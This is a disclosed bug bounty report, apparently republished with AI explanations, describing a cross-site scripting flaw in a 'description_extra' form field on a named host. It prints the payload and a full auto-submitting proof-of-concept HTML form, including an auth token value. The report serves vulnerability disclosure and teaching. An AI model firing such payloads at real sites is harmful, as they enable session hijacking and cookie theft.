Cross-Site Scripting via 'description_extra' parameter
A cross-site scripting vulnerability was found in the 'description_extra' parameter submitted via POST. An attacker could inject a script that executes in a victim's browser, potentially stealing cookies and hijacking sessions.
Originally disclosed on HackerOne
- Triaged in under an hour
- Fixed in 27 days
- Disclosed after 8 months
Description: I discovered a Cross-Site Scripting (XSS) vulnerability on █████████ , specifically through the POST method. This vulnerability allows an attacker to inject malicious scripts that could be executed, potentially leading to cookie theft, session hijacking, and other malicious actions.
Vulnerable parameter: description_extra Payload: <img/src/onerror=alert(1)>
References
███████
Impact
Exploitation of this vulnerability can lead to severe consequences, including but not limited: Session Hijacking: Attackers can steal cookies and impersonate legitimate users.
System Host(s)
edmaps.usna.edu
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
You have to open this code on a page/site that is yours:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="█████" method="POST" enctype="multipart/form-data">
<input type="hidden" name="authtoken" value="GzvaMGKqYV3SRgsmAAmiTrCZndieeD29dyK5vfcWDIHM4wDT1poDRbEzSDQhWlibKtlBXhKNqNMpH/iZ3JlXBA==" />
<input type="hidden" name="from" value="" />
<input type="hidden" name="type" value="wikipage" />
<input type="hidden" name="name" value="WymSkPhN" />
<input type="hidden" name="description_extra" value="1<img/src/onerror=alert(1)>" />
<input type="hidden" name="description_encoded" value="" />
<input type="hidden" name="to_hidden" value="" />
<input type="hidden" name="to" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
And will appear the alert(1).
Suggested Mitigation/Remediation Actions
Apply context-dependent encoding and/or validation to user input rendered on a page.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application did not properly encode or validate the 'description_extra' input before rendering it on a page.
Impact
Exploitation could lead to session hijacking by stealing cookies and impersonating legitimate users.
What the attacker needed
Victim visits attacker-controlled page
How it was found
- Create a page or site that you control.
- Place an HTML form on that page that submits a POST request to the vulnerable endpoint with multipart/form-data encoding.
- Include a hidden field named 'description_extra' containing the malicious payload.
- Submit the form, which sends the request to the target.
- The payload executes and an alert box appears.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Cross-site scripting (XSS) is when a website takes input from a user and puts it on a page without cleaning it first, so an attacker can sneak in code that runs in other people's browsers. Here, a form field called 'description_extra' accepted a crafted image tag that ran a script when the page loaded. This could let an attacker steal login cookies and act as the victim.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.